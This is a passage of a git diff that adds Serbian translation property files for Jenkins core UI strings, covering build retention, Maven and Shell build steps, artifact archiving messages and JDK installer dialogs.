b/core/src/main/resources/hudson/tasks/LogRotator/config_sr.properties new file mode 100644 index 0000000000..60ccb45301 --- /dev/null +++ b/core/src/main/resources/hudson/tasks/LogRotator/config_sr.properties @@ -0,0 +1,10 @@ +# This file is under the MIT License by authors + +Days\ to\ keep\ builds=\u0411\u0440\u043E\u0458 \u0434\u0430\u043D\u0430 \u0437\u0430 \u0447\u0443\u0432\u0430\u045A\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 +if\ not\ empty,\ build\ records\ are\ only\ kept\ up\ to\ this\ number\ of\ days=\u0410\u043A\u043E \u0458\u0435 \u043D\u0430\u0432\u0435\u0434\u0435\u043D\u043E, \u0431\u0440\u043E\u0458 \u0434\u0430\u043D\u0430 \u0437\u0430 \u0447\u0443\u0432\u0430\u045A\u0435 \u0438\u0441\u043A\u0430\u0437\u0435 \u043E \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0438. +Max\ \#\ of\ builds\ to\ keep=\u041A\u043E\u043B\u0438\u043A\u043E \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u0437\u0430 \u0447\u0443\u0432\u0430\u045A\u0435 +if\ not\ empty,\ only\ up\ to\ this\ number\ of\ build\ records\ are\ kept=\u0410\u043A\u043E \u0458\u0435 \u043D\u0430\u0432\u0435\u0434\u0435\u043D\u043E, \u0431\u0440\u043E\u0458 \u0437\u0430\u043F\u0438\u0441\u0430 \u043E \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0438 \u0437\u0430 \u0447\u0443\u0432\u0430\u045A\u0435. +if\ not\ empty,\ artifacts\ from\ builds\ older\ than\ this\ number\ of\ days\ will\ be\ deleted,\ but\ the\ logs,\ history,\ reports,\ etc\ for\ the\ build\ will\ be\ kept= +Max\ \#\ of\ builds\ to\ keep\ with\ artifacts=\u041C\u0430\u043A\u0441\u0438\u043C\u0430\u043B\u0430\u043D \u0431\u0440\u043E\u0458 \u0438\u0437\u0433\u0440\u0430\u045A\u0430 \u043A\u043E\u0458\u0430 \u045B\u0435 \u0431\u0438\u0442\u0438 \u0441\u0430\u0447\u0443\u0432\u0430\u043D\u0430 \u0437\u0430\u0458\u0435\u0434\u043D\u043E \u0441\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043A\u0442\u0438\u043C\u0430 +if\ not\ empty,\ only\ up\ to\ this\ number\ of\ builds\ have\ their\ artifacts\ retained=\u0410\u043A\u043E \u0458\u0435 \u043D\u0430\u0432\u0435\u0434\u0435\u043D\u043E, \u0431\u0440\u043E\u0458 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u0447\u0438\u0458\u0438 \u0430\u0440\u0442\u0435\u0444\u0430\u043A\u0442\u0438 \u045B\u0435 \u0431\u0438\u0442\u0438 \u0441\u0430\u0447\u0443\u0432\u0430\u045A\u0438. +Days\ to\ keep\ artifacts=\u041A\u043E\u043B\u0438\u043A\u043E \u0434\u0430\u043D\u0430 \u0434\u0430 \u0441\u0435 \u0447\u0443\u0432\u0430\u0458\u0443 \u0430\u0440\u0442\u0435\u0444\u0430\u043A\u0442\u0438 diff --git a/core/src/main/resources/hudson/tasks/Maven/MavenInstallation/config_sr.properties b/core/src/main/resources/hudson/tasks/Maven/MavenInstallation/config_sr.properties new file mode 100644 index 0000000000..2fbb8bde38 --- /dev/null +++ b/core/src/main/resources/hudson/tasks/Maven/MavenInstallation/config_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Name=\u0418\u043C\u0435 diff --git a/core/src/main/resources/hudson/tasks/Maven/config_sr.properties b/core/src/main/resources/hudson/tasks/Maven/config_sr.properties new file mode 100644 index 0000000000..670a5b13ea --- /dev/null +++ b/core/src/main/resources/hudson/tasks/Maven/config_sr.properties @@ -0,0 +1,12 @@ +# This file is under the MIT License by authors + +Maven\ Version=\u0412\u0435\u0440\u0437\u0438\u0458\u0430 Maven-\u0430 +Default=\u0421\u0442\u0430\u043D\u0434\u0430\u0440\u0434\u043D\u043E +Goals=\u0426\u0438\u0459\u0435\u0432\u0438 +POM=POM +Properties=\u041F\u043E\u0441\u0442\u0430\u0432\u043A\u0435 +JVM\ Options=\u041F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 JVM +Inject\ build\ variables=\u0423\u0431\u0430\u0446\u0438\u0432\u0430\u045A\u0435 \u043F\u0440\u043E\u043C\u0435\u043D\u0459\u0438\u0432\u0430 \u0437\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443 +Use\ private\ Maven\ repository=\u041A\u043E\u0440\u0438\u0441\u0442\u0438 \u043F\u0440\u0438\u0432\u0430\u0442\u043D\u043E Maven \u0441\u043F\u0440\u0435\u043C\u0438\u0448\u0442\u0435 +Settings\ file=\u0414\u0430\u0442\u043E\u0442\u0435\u043A\u0430 \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 +Global\ Settings\ file=\u0414\u0430\u0442\u043E\u0442\u0435\u043A\u0430 \u0433\u043B\u043E\u0431\u0430\u043B\u043D\u0438\u0445 \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 diff --git a/core/src/main/resources/hudson/tasks/Maven/help_sr.properties b/core/src/main/resources/hudson/tasks/Maven/help_sr.properties new file mode 100644 index 0000000000..c1657bcbbf --- /dev/null +++ b/core/src/main/resources/hudson/tasks/Maven/help_sr.properties @@ -0,0 +1,6 @@ +# This file is under the MIT License by authors + +para1=\u0417\u0430 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0435 \u043A\u043E\u0458\u0438 \u043A\u043E\u0440\u0438\u0441\u0442\u0435 \u0441\u0438\u0441\u0442\u0435\u043C \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 Maven. \u041E\u0432\u043E \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0435 \u045B\u0435 \u0443\u043A\u0430\u0437\u0430\u0442\u0438 \u0434\u0430 Jenkins \u043A\u043E\u0440\u0438\u0441\u0442\u0438 Maven \u0441\u0430 \u0434\u0430\u0442\u0438\u043C \u0446\u0438\u0459\u0435\u0432\u0438\u043C\u0430 \u0438 \u043E\u043F\u0446\u0438\u0458\u0430\u043C\u0430. \u0410\u043A\u043E Maven \u0437\u0430\u0432\u0440\u0448\u0438 \u0441\u0430 \u043D\u0435\u043D\u0443\u043B\u043D\u0438\u043C \u043A\u043E\u0434\u043E\u043C, \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u045B\u0435 \u0441\u0435 \u0441\u043C\u0430\u0442\u0440\u0430\u0442\u0438 \u043D\u0435\u0443\u0441\u043F\u0435\u043D\u043E\u0433. \u041C\u0435\u0452\u0443\u0442\u0438\u043C \u043D\u0435\u043A\u0435 \u0432\u0435\u0440\u0437\u0438\u0458\u0435 Maven \u0438\u043C\u0430\u0458\u0443 \u0433\u0440\u0435\u0448\u043A\u0443 \u043A\u043E\u0458\u0430 \u0432\u0440\u0430\u045B\u0430 \u043F\u043E\u0433\u0440\u0435\u0448\u0430\u043D \u043A\u043E\u0434 \u043F\u043E \u0437\u0430\u0432\u0440\u0448\u0435\u0442\u043A\u0443. +para2=Jenkins \u043F\u0440\u0435\u043D\u0435\u0441\u0435 \ + \u0440\u0430\u0437\u043D\u0430 \u043F\u0440\u043E\u043C\u0435\u043D\u0459\u0438\u0432\u0430 Maven-\u0443, \u043A\u043E\u0458\u0430 \u0441\u0443 \u0434\u043E\u0441\u0442\u0443\u043F\u043D\u0430 \u043F\u043E \u0448\u0430\u0431\u043B\u043E\u043D\u0443 "$'{'env.VARIABLENAME}". +para3=\u0422\u0435 \u0438\u0441\u0442\u0435 \u043F\u0440\u043E\u043C\u0435\u043D\u0459\u0438\u0432\u0435 \u043C\u043E\u0433\u0443 \u0441\u0435 \u043A\u043E\u0440\u0438\u0441\u0442\u0438 \u043F\u0440\u0435\u043A\u043E \u043A\u043E\u043C\u0430\u043D\u0434\u043D\u0435 \u043B\u0438\u043D\u0438\u0458\u0435 (\u0430\u043A\u043E \u043F\u043E\u0437\u043E\u0432\u0435\u0442\u0435 Maven \u0441\u0430 \u043A\u043E\u043C\u0430\u043D\u0434\u043D\u0435 \u043B\u0438\u043D\u0438\u0458\u0435). \u041D\u0430 \u043F\u0440\u0438\u043C\u0435\u0440, \u043C\u043E\u0436\u0435\u0442\u0435 \u0434\u0430 \u043E\u0434\u0440\u0435\u0434\u0438\u0442\u0435 diff --git a/core/src/main/resources/hudson/tasks/Messages_sr.properties b/core/src/main/resources/hudson/tasks/Messages_sr.properties new file mode 100644 index 0000000000..a5eee350c3 --- /dev/null +++ b/core/src/main/resources/hudson/tasks/Messages_sr.properties @@ -0,0 +1,55 @@ +# This file is under the MIT License by authors + +Ant.DisplayName=\u041F\u043E\u043A\u0440\u0435\u043D\u0438 Ant +Ant.ExecFailed=\u0438\u0437\u0431\u0440\u0448\u0430\u0432\u0430\u045A\u0435 \u043A\u043E\u043C\u0430\u043D\u0434\u0435 \u043D\u0438\u0458\u0435 \u0443\u0441\u043F\u0435\u043B\u043E. +Ant.ExecutableNotFound=\u0423 \u043D\u0430\u0432\u0435\u0434\u0435\u043D\u043E\u0458 \u0438\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0438 Ant "{0}" \u043D\u0438\u0458\u0435 \u043F\u0440\u043E\u043D\u0430\u0452\u0435\u043D\u043E \u043A\u043E\u043C\u0430\u043D\u0434\u0430. +Ant.GlobalConfigNeeded=\u041F\u043E\u043A\u0443\u0448\u0430\u0458\u0442\u0435 \u043F\u043E\u043D\u043E\u0432\u043E \u0434\u0430 \u043D\u0430\u0432\u0435\u0434\u0435\u0442\u0435 \u043B\u043E\u043A\u0430\u0446\u0438\u0458\u0443 Ant \u0438\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0435. +Ant.NotADirectory={0} \u043D\u0438\u0458\u0435 \u0434\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0458\u0443\u043C +Ant.NotAntDirectory={0} \u043D\u0438\u0458\u0435 \u0434\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0458\u0443\u043C \u0437\u0430 Ant +Ant.ProjectConfigNeeded=\u041F\u043E\u043A\u0443\u0448\u0430\u0458\u0442\u0435 \u0434\u0430 \u043F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u0441\u0442\u0430\u0432\u0438\u0442\u0435 \u0437\u0430\u0434\u0430\u0442\u0430\u043A \u0434\u0430 \u0438\u0437\u0430\u0431\u0435\u0440\u0435\u0442\u0435 \u043C\u0435\u0441\u0442\u043E \u0438\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0435 Ant. +ArtifactArchiver.ARCHIVING_ARTIFACTS=\u0410\u0440\u0445\u0438\u0432\u0438\u0440\u0430\u045A\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043A\u0442\u0438 +ArtifactArchiver.DisplayName=\u0410\u0440\u0445\u0438\u0432\u0438\u0440\u0430\u0458 \u0430\u0440\u0442\u0435\u0444\u0430\u043A\u0442\u0438 +ArtifactArchiver.SkipBecauseOnlyIfSuccessful=\u041F\u0440\u0435\u0441\u043A\u043E\u045B\u0430\u0432\u0430 \u0430\u0440\u0445\u0438\u0432\u0438\u0440\u0430\u045A\u0435 \u0437\u0430\u0448\u0442\u043E \u0458\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u043D\u0435\u0443\u0441\u043F\u0435\u0448\u043D\u0430 +ArtifactArchiver.FailedToArchive=\u041D\u0435\u0443\u0441\u043F\u0440\u0435\u0448\u043D\u043E \u0430\u0440\u0445\u0438\u0432\u0438\u0440\u0430\u045A\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043A\u0442\u0438: {0} +ArtifactArchiver.NoIncludes=\u041D\u0435\u043C\u0430 \u043D\u0430\u0432\u0435\u0434\u0435\u043D\u0438\u0445 \u043F\u0440\u0435\u0434\u043C\u0435\u0442\u0430 \u0437\u0430 \u0430\u0440\u0445\u0438\u0432\u0438\u0440\u0430\u045A\u0435.\n\ +\u0418\u0437\u0433\u043B\u0435\u0434\u0430 \u0434\u0430 \u043D\u0438\u0441\u0442\u0435 \u043D\u0430\u0432\u0435\u043B\u0438 \u0448\u0430\u0431\u043B\u043E\u043D \u0438\u043C\u0435\u043D\u0430 \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0435. \u041C\u043E\u043B\u0438\u043C\u043E \u0432\u0430\u0441, \u0432\u0440\u0430\u0442\u0438\u0442\u0435 \u0441\u0435 \u043D\u0430 \u0442\u0430\u0458 \u0435\u043A\u0440\u0430\u043D \u0438 \u0443\u043D\u0435\u0441\u0438\u0442\u0435 \u0433\u0430.\n\ +\u0410\u043A\u043E \u0437\u0430\u0438\u0441\u0442\u0430 \u0436\u0435\u043B\u0438\u0442\u0435 \u0434\u0430 \u0430\u0440\u0445\u0438\u0432\u0438\u0440\u0430 \u0441\u0432\u0435 \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0435 \u0443 \u0440\u0430\u0434\u043D\u043E\u043C \u043F\u0440\u043E\u0441\u0442\u043E\u0440\u0443, \u0443\u043D\u0435\u0441\u0438\u0442\u0435 "**" +ArtifactArchiver.NoMatchFound=\u041D\u0438 \u0458\u0435\u0434\u0430\u043D \u0430\u0440\u0442\u0435\u0444\u0430\u043A\u0442 \u0441\u0435 \u043D\u0435 \u043F\u043E\u043A\u043B\u0430\u043F\u0430 \u0441\u0430 \u0448\u0430\u0431\u043B\u043E\u043D\u043E\u043C "{0}". \u0414\u0430\u043B\u0438 \u0438\u043C\u0430 \u0433\u0440\u0435\u0448\u0430\u043A\u0430 \u0443 \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0443? +BatchFile.DisplayName=\u0418\u0437\u0432\u0440\u0448\u0438 Windows \u043A\u043E\u043C\u0430\u043D\u0434\u0443 +BuildTrigger.Disabled={0} \u0458\u0435 \u043E\u0431\u0443\u0441\u0442\u0430\u0432\u0459\u0435\u043D\u043E \u0438 \u043D\u0435\u043C\u043E\u0436\u0435 \u0441\u0435 \u0438\u0437\u0430\u0437\u043E\u0432\u0430\u0442\u0438 +BuildTrigger.DisplayName=\u0418\u0437\u0433\u0440\u0430\u0434\u0438 \u0434\u0440\u0443\u0433\u0435 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0435 +BuildTrigger.InQueue={0} \u0458\u0435 \u0432\u0435\u045B \u0443 \u0440\u0435\u0434\u0443 +BuildTrigger.NoSuchProject=\u041D\u0435\u043C\u0430 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0430 ''{0}''. \u0414\u0430\u043B\u0438 \u0441\u0442\u0435 \u043C\u0438\u0441\u043B\u0438\u043B\u0438 ''{1}''? +BuildTrigger.NoProjectSpecified=\u041D\u0438\u0458\u0435 \u043D\u0430\u0432\u0435\u0434\u0435\u043D \u043F\u0440\u043E\u0458\u0435\u043A\u0430\u0442 +BuildTrigger.NotBuildable={0} \u043D\u0435\u043C\u043E\u0436\u0435 \u0441\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u0438\u0442\u0438 +BuildTrigger.Triggering=\u041F\u043E\u0447\u0438\u045A\u0435 \u043D\u043E\u0432\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u0437\u0430 {0} +BuildTrigger.ok_ancestor_is_null=\u041D\u0435\u043F\u043E\u0437\u043D\u0430\u0442 \u0440\u043E\u0434\u0438\u0442\u0435\u043B/\u043A\u043E\u043D\u0442\u0435\u043A\u0441\u0442: \u043D\u0430\u0432\u0435\u0434\u0435\u043D \u043F\u0440\u043E\u0458\u0435\u043A\u0430\u0442 \u043D\u0435\u043C\u043E\u0436\u0435 \u0431\u0438\u0442\u0438 \u043F\u0440\u043E\u0432\u0435\u0440\u0435\u043D +BuildTrigger.warning_access_control_for_builds_in_glo=\u0423\u043F\u043E\u0437\u043E\u0440\u0435\u045A\u0435: \u043F\u043E\u0459\u0435 '\u041A\u043E\u043D\u0442\u0440\u043E\u043B\u0430 \u043F\u0440\u0438\u0441\u0442\u0443\u043F\u0430' \u0443 \u043E\u043F\u0448\u0442\u0438\u043C \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0438\u043C\u0430 \u0431\u0435\u0437\u0431\u0435\u0434\u043D\u043E\u0441\u0442\u0438 \u043D\u0438\u0458\u0435 \u0438\u0441\u043F\u0443\u045A\u0435\u043Do. \u041A\u043E\u0440\u0438\u0441\u0442\u0438\u045B\u0435 \u0441\u0435 \u0441\u0442\u0430\u0440\u043E \u043F\u043E\u043D\u0430\u0448\u0430\u045A\u0435 \u043A\u043E\u0458\u0435 \u0434\u043E\u0437\u0432\u043E\u0459\u0430\u0432\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443 \u0441\u0432\u0438\u0445 \u0437\u0430\u0434\u0430\u0442\u0430\u043A\u0430 \u043A\u043E\u0458\u0435 \u0437\u0430\u0432\u0438\u0441\u0435 \u043E\u0434 \u043E\u0432\u0435. +BuildTrigger.warning_this_build_has_no_associated_aut=\u0423\u043F\u043E\u0437\u043E\u0440\u0435\u045A\u0435: \u043E\u0432\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u043D\u0435\u043C\u0430 \u043A\u0430\u043D\u0430\u043B \u0430\u0443\u0442\u0435\u043D\u0442\u0438\u043A\u0430\u0446\u0438\u0435, \u043F\u0430 \u045B\u0435 \u0434\u043E\u0437\u0432\u043E\u043B\u0435 \u043D\u0435\u0434\u043E\u0441\u0442\u0430\u0458\u0430\u0442\u0438 \u0438 \u043E\u043D\u0438 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0438 \u043A\u043E\u0458\u0438 \u0437\u0430\u0432\u0438\u0441\u0435 \u043E\u0434 \u043E\u0432\u0435 \u0430 \u043D\u0438\u0441\u0443 \u0432\u0438\u0434\u0459\u0438\u0432\u0438 \u0430\u043D\u043E\u043D\u0438\u043C\u043D\u0438\u043C \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u0446\u0438\u043C\u0430, \u045B\u0435 \u0431\u0438\u0442\u0438 \u043F\u0440\u0435\u0441\u043A\u043E\u045B\u0435\u043D\u0438. +BuildTrigger.you_have_no_permission_to_build_=\u041D\u0435\u043C\u0430\u0442\u0435 \u043F\u0440\u0430\u0432\u043E \u0434\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u0438\u0442\u0435 {0} +CommandInterpreter.CommandFailed=\u0418\u0437\u0432\u0440\u0448\u0430\u0432\u0430\u045A\u0435 \u043A\u043E\u043C\u0430\u043D\u0434\u0435 \u043D\u0438\u0458\u0435 \u0443\u0441\u043F\u0435\u043B\u043E +CommandInterpreter.UnableToDelete=\u041D\u0438\u0458\u0435 \u043C\u043E\u0433\u0443\u045B\u0435 \u0438\u0437\u0431\u0440\u0438\u0441\u0430\u0442\u0438 \u0441\u043A\u0440\u0438\u043F\u0442 {0} +CommandInterpreter.UnableToProduceScript=\u041D\u0438\u0458\u0435 \u043C\u043E\u0433\u0443\u045B\u0435 \u043A\u0440\u0435\u0438\u0440\u0430\u0442\u0438 \u0441\u043A\u0440\u0438\u043F\u0442 {0} +Fingerprinter.Aborted=\u041F\u0440\u0435\u043A\u0438\u043D\u0443\u0442\u043E +Fingerprinter.Action.DisplayName=\u041F\u0440\u0435\u0433\u043B\u0435\u0434 \u0434\u0438\u0433\u0438\u0442\u0430\u043B\u043D\u0438\u0445 \u043E\u0442\u0438\u0441\u0430\u043A\u0430 +Fingerprinter.DigestFailed=\u041D\u0438\u0458\u0435 \u0443\u0441\u043F\u0435\u043B\u043E \u043E\u0431\u0440\u0430\u0447\u0443\u043D \u043D\u0430 \u0434\u0438\u0433\u0438\u0442\u0430\u043B\u043D\u043E\u043C \u043E\u0442\u0438\u0441\u043A\u0443 {0} +Fingerprinter.DisplayName=\u0421\u043D\u0438\u043C\u0438 \u0434\u0438\u0433\u0438\u0442\u0430\u043B\u043D\u0435 \u043E\u0442\u0438\u0441\u043A\u0435 \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0430 \u0434\u0430 \u043F\u0440\u0430\u0442\u0438\u0442\u0435 \u045A\u0438\u0445\u043E\u0432\u0443 \u0443\u043F\u043E\u0442\u0435\u0431\u0440\u0443 +BuildTrigger.warning_you_have_no_plugins_providing_ac=\u0423\u043F\u043E\u0437\u043E\u0440\u0435\u045A\u0435: \u043D\u0435\u043C\u0430\u0442\u0435 \u043C\u043E\u0434\u0443\u043B\u0435 \u043A\u043E\u0458\u0435 \u0434\u0435\u043B\u0435 \u043F\u0440\u0438\u0441\u0442\u0443\u043F, \u043F\u0430 \u0441\u0435 \u0432\u0440\u0430\u045B\u0430 \u043D\u0430\u0437\u0430\u0434 \u043D\u0430 \u0440\u0435\u0436\u0438\u043C \u043A\u043E\u0458\u0438 \u0438\u0437\u0430\u0437\u0438\u0432\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443 \u0438\u0437\u0432\u0438\u0441\u043D\u0438\u0445 \u0437\u0430\u0434\u0430\u0442\u0430\u043A\u0430. +Fingerprinter.Failed=\u041D\u0435\u0443\u0441\u043F\u0435\u0448\u043D\u043E \u0441\u043D\u0438\u043C\u0430\u045A\u0435 \u0434\u0438\u0433\u0438\u0442\u0430\u043B\u043D\u0438\u0445 \u043E\u0442\u0438\u0441\u043A\u0430 +Fingerprinter.FailedFor=\u041D\u0435\u0443\u0441\u043F\u0435\u0448\u043D\u043E \u0441\u043D\u0438\u043C\u0430\u045A\u0435 \u0434\u0438\u0433\u0438\u0442\u0430\u043B\u043D\u0438\u0443 \u043E\u0442\u0438\u0441\u043A\u0443 \u0437\u0430 {0} +Fingerprinter.Recording=\u0421\u043D\u0438\u043C\u0430\u045A\u0435 \u0434\u0438\u0433\u0438\u0442\u0430\u043B\u043D\u0438\u0445 \u043E\u0442\u0438\u0441\u043A\u0430 +InstallFromApache=\u0418\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u045A\u0435 \u043E\u0434 \u0441\u0430\u0438\u0442\u0430 Apache +JavadocArchiver.DisplayName=\u041F\u0443\u0431\u043B\u0438\u043A\u0443\u0458\u0442\u0435 Javadoc +JavadocArchiver.DisplayName.Javadoc=Javadoc +JavadocArchiver.DisplayName.Generic=\u0414\u043E\u043A\u0443\u043C\u0435\u043D\u0442 +TestJavadocArchiver.DisplayName.Javadoc=Test Javadoc +JavadocArchiver.NoMatchFound=\u041D\u0438\u0458\u0435 \u043F\u0440\u043E\u043D\u0430\u0452\u0435\u043D Javadoc {0}: {1} +JavadocArchiver.Publishing=\u041F\u0443\u0431\u043B\u0438\u043A\u043E\u0432\u0430\u045A\u0435 Javadoc +JavadocArchiver.UnableToCopy=Javadoc \u043D\u0435\u043C\u043E\u0436\u0435 \u0431\u0438\u0442\u0438 \u0438\u0441\u043A\u043E\u043F\u0438\u0440\u0430\u043D \u043E\u0434 {0} \u043D\u0430 {1} +Maven.DisplayName=\u0418\u0437\u0432\u0440\u0448\u0438 \u0432\u0440\u0445\u043E\u0432\u043D\u0435 Maven \u0446\u0438\u0459\u0435\u0432\u0435 +Maven.ExecFailed=\u0438\u0437\u0432\u0440\u0448\u0430\u0432\u0430\u045A\u0435 \u043A\u043E\u043C\u0430\u043D\u0434\u0435 \u0458\u0435 \u043D\u0435\u0443\u0441\u043F\u0435\u0448\u043D\u043E +Maven.NotMavenDirectory={0} \u043D\u0435 \u043B\u0438\u0447\u0438 \u043D\u0430 Maven \u0434\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0458\u0443\u043C +Maven.NoExecutable=\u041D\u0438\u0458\u0435 \u043F\u0440\u043E\u043D\u0430\u0452\u0435\u043D\u043E \u0438\u0437\u0432\u0440\u0448\u043D\u0430 \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0430 \u0443 {0} +Shell.DisplayName=\u0418\u0437\u0432\u0440\u0448\u0438 shell \u043A\u043E\u043C\u0430\u043D\u0434\u0443 +Maven.NotADirectory={0} \u043D\u0438\u0458\u0435 \u0434\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0458\u0443\u043C +Indien= \ No newline at end of file diff --git a/core/src/main/resources/hudson/tasks/Shell/config_sr.properties b/core/src/main/resources/hudson/tasks/Shell/config_sr.properties new file mode 100644 index 0000000000..1b4980ff65 --- /dev/null +++ b/core/src/main/resources/hudson/tasks/Shell/config_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +description=\u041F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435 \u0441\u043F\u0438\u0441\u0430\u043A \u043F\u0440\u043E\u043C\u0435\u043D\u0459\u0438\u0432\u0430 +Command=\u041A\u043E\u043C\u0430\u043D\u0434\u0430 \ No newline at end of file diff --git a/core/src/main/resources/hudson/tasks/Shell/global_sr.properties b/core/src/main/resources/hudson/tasks/Shell/global_sr.properties new file mode 100644 index 0000000000..aa7f83e47a --- /dev/null +++ b/core/src/main/resources/hudson/tasks/Shell/global_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Shell=\u0409\u0443\u0441\u043A\u0430 +Shell\ executable=\u041F\u0443\u0442 \u0434\u043E \u0459\u0443\u0441\u043A\u0435 \ No newline at end of file diff --git a/core/src/main/resources/hudson/tools/AbstractCommandInstaller/config_sr.properties b/core/src/main/resources/hudson/tools/AbstractCommandInstaller/config_sr.properties new file mode 100644 index 0000000000..de532cad16 --- /dev/null +++ b/core/src/main/resources/hudson/tools/AbstractCommandInstaller/config_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Command=\u041A\u043E\u043C\u0430\u043D\u0434\u0430 +Tool\ Home=\u0413\u043B\u0430\u0432\u043D\u0438 \u043A\u0430\u0442\u0430\u043B\u043E\u0433 \u0430\u043B\u0430\u0442\u0430 diff --git a/core/src/main/resources/hudson/tools/DownloadFromUrlInstaller/config_sr.properties b/core/src/main/resources/hudson/tools/DownloadFromUrlInstaller/config_sr.properties new file mode 100644 index 0000000000..b1e0ab0aa0 --- /dev/null +++ b/core/src/main/resources/hudson/tools/DownloadFromUrlInstaller/config_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Version=\u0412\u0435\u0440\u0437\u0438\u0458\u0430 diff --git a/core/src/main/resources/hudson/tools/InstallSourceProperty/config_sr.properties b/core/src/main/resources/hudson/tools/InstallSourceProperty/config_sr.properties new file mode 100644 index 0000000000..0e2e34192b --- /dev/null +++ b/core/src/main/resources/hudson/tools/InstallSourceProperty/config_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Delete\ Installer=\u0423\u043A\u043B\u043E\u043D\u0438 \u0438\u043D\u0441\u0442\u0430\u043B\u0430\u0442\u043E\u0440 +Add\ Installer=\u0414\u043E\u0434\u0430\u0458\u0442\u0435 \u0438\u043D\u0441\u0442\u0430\u043B\u0430\u0442\u043E\u0440 diff --git a/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/credentialOK_sr.properties b/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/credentialOK_sr.properties new file mode 100644 index 0000000000..fef7da6755 --- /dev/null +++ b/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/credentialOK_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Credential\ is\ saved=\u0421\u0430\u0447\u0443\u0432\u0430\u043D\u043E \u0458\u0435 \u0430\u043A\u0440\u0435\u0434\u0438\u0442\u0438\u0432\u0430\u0442 +Close=\u0417\u0430\u0432\u0440\u0448\u0438 diff --git a/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_sr.properties b/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_sr.properties new file mode 100644 index 0000000000..c1866bea55 --- /dev/null +++ b/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_sr.properties @@ -0,0 +1,7 @@ +# This file is under the MIT License by authors + +Enter\ Your\ Oracle\ Account=\u0423\u043D\u0435\u0441\u0438\u0442\u0435 \u0432\u0430\u0448 Oracle \u043D\u0430\u043B\u043E\u0433 +description=\u0414\u0430 \u043F\u0440\u0438\u0441\u0442\u0443\u043F\u0438\u0442\u0435 \u0441\u0442\u0430\u0440\u0438\u0458\u0438\u043C \u0432\u0435\u0440\u0437\u0438\u0458\u0430\u043C\u0430 JDK, \u043C\u043E\u0440\u0430\u0442\u0435 \u0438\u043C\u0430\u0442\u0438 Oracle \u043D\u0430\u043B\u043E\u0433. +Username=\u041A\u043E\u0440\u0438\u0441\u043D\u0438\u0447\u043A\u043E \u0438\u043C\u0435 +Password=\u041B\u043E\u0437\u0438\u043D\u043A\u0430 +OK=\u0423\u0440\u0435\u0434\u0443 diff --git a/core/src/main/resources/hudson/tools/JDKInstaller/config_sr.properties b/core/src/main/resources/hudson/tools/JDKInstaller/config_sr.properties new file mode 100644 index 0000000000..5d1762543a --- /dev/null +++ b/core/src/main/resources/hudson/tools/JDKInstaller/config_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Version=\u0412\u0435\u0440\u0437\u0438\u0458\u0430 +I\ agree\ to\ the\ Java\ SE\ Development\ Kit\ License\ Agreement=\u041F\u0440\u0438\u0441\u0442\u0430\u0458\u0435\u043C \u043D\u0430 \u0443\u0433\u043E\u0432\u043E\u0440 \u043E \u043B\u0438\u0446\u0435\u043D\u0446\u0438 Java SE Development Kit diff --git a/core/src/main/resources/hudson/tools/Messages_sr.properties 